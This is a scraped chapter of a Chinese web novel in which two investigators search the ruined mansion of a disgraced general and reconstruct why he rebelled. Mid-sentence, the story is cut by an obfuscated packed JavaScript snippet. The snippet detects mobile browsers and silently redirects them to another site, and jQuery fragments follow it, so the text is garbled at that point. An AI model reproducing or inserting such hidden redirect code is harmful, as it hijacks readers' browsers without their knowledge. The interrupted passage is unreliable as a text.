60. 第 60 章
作品:《我在都察院和他炼僵尸办案》 施有信闻言,眉心瞬间拧紧,他立马掏出随身携带的火折子,在黑砖房四下转了圈,找到蜡烛,一一点燃。
孟秋鸿看着这间阴诡异常的正厅,慢慢被灌满橙黄烛火,她的视线也渐渐看清了周遭事物。
果不其然,这间正厅满是被破坏的痕迹,特别是桌椅断口,几乎都是尖锐的,像是被重物生生撞碎的。
而那些木头都是上好的紫檀木,色泽依旧深红,即便落了灰尘,藏住了它的光泽,却也盖不住那吸睛的色彩,可若细细看去,那紫檀木的颜色分布却并不均匀。
“施有信,带我去看看那处。”孟秋鸿指着一处桌椅被损坏到最离谱的角落,要求道。
不知是不是环境特殊,施有信在推孟秋鸿向前去的脚步,显得都是那么的小心翼翼。
二人来到满是桌椅残骸的角落,孟秋鸿双眸瞬间锐利,她一寸一寸细细去看这些木头,可因这些木头原本就是紫红的,这颜色能盖住不少线索,所有她不能松散分毫,否则便会有遗漏线索。
“你怎么会知道这里死过不少人?”施有信仰头扫视周围的杂乱不堪,问道,“虽说这里确实有被人为破坏的痕迹,但你怎么会知道这里一定死过人呢?”
孟秋鸿目光骤然顿住,她伸手对着一个角落的椅子腿勾勾手指,转头望向施有信。
她见人去拿了,才缓缓开口回答:“紫檀木的桌椅,谁会舍得把它们敲坏?好吧,就算是要敲坏,那为什么不选择更轻松的斧子来砍断,而是更为费力的去砸断呢?
就算选择砸断,又为什么不将这些残骸收拾了,偏要放在这里吃灰呢?这些事情一叠加,你不会觉得怪异吗,而这些怪异明显不为劫财,那就只有害命了,对吧?”
施有信将孟秋鸿看上的椅子腿,拿回来递给她,依旧还是想不通,“那你怎么会知道死了不少人呢?”
孟秋鸿拿着这沉甸甸的椅子腿,拿起自己衣袖随手擦了擦,她观察着椅子腿,漫不经心地回答,“这就是咱们所了解的信息不一样了。
白老将军是死于造反,被钟渡川一刀砍了头,但据外头流传的说法,就是白老将军回到家,发狂似的将一家老小,包括下人都杀光了,随后凭借自己带兵多年所累积的声望,召集了不下二十万的士兵陪他造反。
许是他年纪大了,一对上先皇的兵力,就昏招频出,最后竟将一个好端端顺风局势,打到自己仅剩五万兵力,还敢去攻皇宫。
可故事的结局却是老将军抛弃自己的五万士兵,独自一人跑去皇宫,打算擒贼先擒王,但就在他拔刀相向的那一瞬间,钟渡川手起刀落,老将军人头落地,就这么死了。”
她边说指尖边轻抚那椅子腿上,忽地,她动作停住,视线定格在紫檀木上,一处颜色较深的地方。
就是这里了。
“不对吧,这也太扯了,白老将军杀自己家人做什么,这没有理由,而且他在领兵打仗时,为什么会昏招频出?虽说我没怎么听过他的事迹,却也知道,自古以来,能够活到老的将军,就没有废的,他这样倒像是……”
施有信刚打算继续说,就被孟秋鸿赏了一个凳子腿,他低头看去。
孟秋鸿注意到他疑惑的目光看过来,嘴角弯了弯,“倒像是故意的,故意吃败仗,打散己方兵力,为先皇争取反败为胜的时间,但很可惜,先皇没做到,所有他最后只有甘心赴死,以乱己方军心,扬敌方士气。”
“兵法?”
孟秋鸿点点头,指向正厅前方出口,示意施有信与他一同去后院看看。
“差不多,我在刚知道这些事的时候,第一反应也是《左传》中的:一鼓作气,再而衰,三而竭。彼竭我盈,故克之。将这招兵法反过来,不就是白老将军用的这招吗?”
此刻,施有信已然带着孟秋鸿来到后院,放眼望去,此地竹亭、华舍,样样俱全,这里从前定然繁华吸睛,精美到如同皇宫后院,而如今却是破败凋零,像是冬季被霜打过的牡丹,枯萎到发黑,死气弥漫。
二人没多做停留,将这内院粗略的逛了逛,期间,他们在白老将军的书房停留最久。
孟秋鸿在细细观摩白老将军曾经写过的字迹,和画出的画作。
施有信百无聊赖的站在她身后,突然脑中一条怪异的线索一闪而过,好在他有经验,死死拽住了。
“孟秋鸿,你是什么时候去特地调查白老将军这事的?”
孟秋鸿看字的指尖顿了顿,她先是用余光瞟了眼身后人的表情,见没什么异样,才收回视线,故作随意回道:“刚回京的时候,陆松接我去见陛下时,他恰巧与我说到这事,当时我也没太放在心上,就随便交代了人去调查。
之后没多久就得到了回信,那时候咱正忙着解决曹家买卖孩子脏器一事,我就忘记跟你说这事了。”
“是吗?我还以为你压根没想起来告诉我呢!”施有信冷笑一声,抱臂阴阳怪气道。
此话一出,周遭空气中漂浮着的灰尘,似乎都猛地停住,不敢动弹了。
孟秋鸿一听这话,暗叫不妙,“啪”地一声,立马合上书,捂住心脏,大口喘息,佯装命不久矣,“施有信,快,快带我走,呼吸不过来了!”
施有信一听这话,忙不迭地上前关心,见对方脸色确实不好看,他心下一惊,将刚刚的质问都抛诸脑后,立刻带着孟秋鸿就往出去走。
“哎,凳子腿得带上,凳子腿!”孟秋鸿“哎呀呀”地叫唤着。
“啧,你真是烦死了!”施有信没办法,忙遣返回去,拿走凳子腿,推着孟秋鸿就飞奔出去。
二人一路着急忙慌,将落在枝头窥伺他们的乌鸦惊飞。
藏在云后的日头,也终于肯露出脑袋了,可惜此刻已然接近傍晚,黑夜即将到来。
而在孟秋鸿和施有信离开白府没多久,一蒙面暗卫也悄无声息地来到此处,在天彻底黑透后才离去。
黑幕笼罩天际,圆月高悬,京城中的百姓用完晚饭,都拿着蒲扇,三三两两,在树下纳凉闲聊。
而可怜的施大人,却是无暇顾及这一切,只是一味拉着大夫往督察院里走。
“真的,她真吐血了,挺严重的,大夫你快些,一会迟了,你就该和阎王爷抢人了!”施有信拽住那老大夫的胳膊,向孟秋鸿所在的正厅匆匆而去。
那老大夫的羊须胡子,都被汗打湿到耷拉下去了,他摆了摆手,喘着粗气道:“施大人,你就别逗我了,哪个吐了血的人,还有力气看卷宗啊,我会快些的,但你也得体谅老人家是吧!”
“孟秋鸿。”施有信别的一句话都没多说,就这三个字,已足够权威。
那老大夫一听这熟悉的三个字,先是愣了愣,随后立马大步往正厅去。
督察院正厅内,灯火通明,书籍洒落的到处都是,孟秋鸿席地而坐,她在书群的正中间,点着蜡烛,一本又一本的仔细翻阅关于白老将军这人的生平。
白老将军叫白舜,这人生于岭南边缘一带的小县城,他年仅12岁时,便被抓走参军,初入军营时,他的睫毛日日夜夜都是湿哒哒的,而且最怕旁人提“回家”二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178192|194550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字,一说就哭鼻子,那时的士兵们总爱用这两个字逗他哭。
直到半年后,敌军突如其来的夜袭,一场火箭雨,预告着死亡的降临,与他同一营帐的士兵,见大火堵住了出口,无法逃生,他们便自发的,全部将这个年纪最小的弟弟护在身下,以身做伞,挡住舔舐而来的火舌,才为白舜争取到了一线生机。
侥幸捡回一条性命的白舜,在大火熄灭后,顶开一具又一具的焦尸,他站起身,看着这片在昨日还说说笑笑,温暖非常的军营,如今却成了一片焦土,目及之处,尽是炭黑。
白舜在那夜,没有选择逃跑,而是徒步翻越了两座山头,去到另一处军营,诉说了自己的情况,再度加入军营,只是这一回,他没有再哭了,只是一次又一次的要求上战场,他愿意当马前卒,甘心赴死,只要我军能胜。
孟秋鸿看到这里才将卷宗合上,她眼睛酸酸涨涨的,眼前的一个个小字已经出现重影了。
她抬起手,不轻不重的揉着鼻梁,她闭上眼,细细思索。
白舜能从一个无名小卒,一步一步走到白老将军这一头衔,都足以说明他自身的本事,试问,这样一个自己一刀一枪拼出来的真将军,怎么可能会在攻打皇宫之际,昏招频出?
可事实就是如此,若将表皮先剥开,白舜为什么要造反?这个问题是这起案件的源头。
他的家人是谁杀的?他的二十万军哪里来的?他明明已经胜券在握了,只需要像在战场之上,稳定发挥自己的决策就好,为什么要频频出错,导致自己败北?最后,他又为什么会抛弃自己的五万士兵,单独去刺杀先皇?
明明他是尝过被士兵们保护滋味的人,有什么理由要抛下士兵……等一等,凭什么说抛下士兵,一定不是对士兵的保护呢?又或许是……
“孟秋鸿,我给你找大夫来了,江老大夫今天好不容易在医馆坐镇的,他医术算是顶顶好的,都不常给人治病,你哪里不舒服直接说,大夫会给你看的!”施有信的呼喊,从大老远传来。
孟秋鸿眼睛依旧是酸胀的,刚刚施有信那一嗓子,将她注意力拉了回来,现在她眼球的异物感更突出了,连带着她的脑袋都开始阵阵发晕。
她没有起身,只是抬眼望向渐渐靠近的二人。
施有信满头大汗地拉着大夫,步履匆匆,二人身后是无垠的黑夜,和闪烁的群星,这幅画面很漂亮,就像是田野里闪烁的大片萤火虫,叫人看着心中泛起暖意,僵硬的嘴角,也无意识地软了下来。
“施有信……”她小声念叨着。
她没等多久,施有信便到了她的面前。
施有信进到正厅,先是任劳任怨地将地上散落的书本,简单收拾了下,才招呼着二人入座,随后就忙叫老大夫为她把脉。
“如何啊?”施有信站在二人身边,看着这老大夫把着孟秋鸿的脉搏,表情是一会严肃,一会柔和,一会惋惜,一会生气。
这给施有信看的,一颗心七上八下的。
“郁结于心,这个病不好治,得慢慢调理,心情畅通了,心里的郁结自然也就散了。”老大夫捋着羊须胡子,意味深长道,“孟大人,你在烦恼什么呢?自上回我在牢里遇见你,就把出你有多思之症,如今更严重了。”
孟秋鸿无所谓地笑了笑,她随手绕着自己的一缕发丝,无奈道:“还不是这白老将军案子闹的,烦死人了都,陛下还偏要查,你说,这案子都多少年了,哪里还能轻易找到什么真相!”
“白老将军,白舜吗?”老大夫抬头看向孟秋鸿询问道。

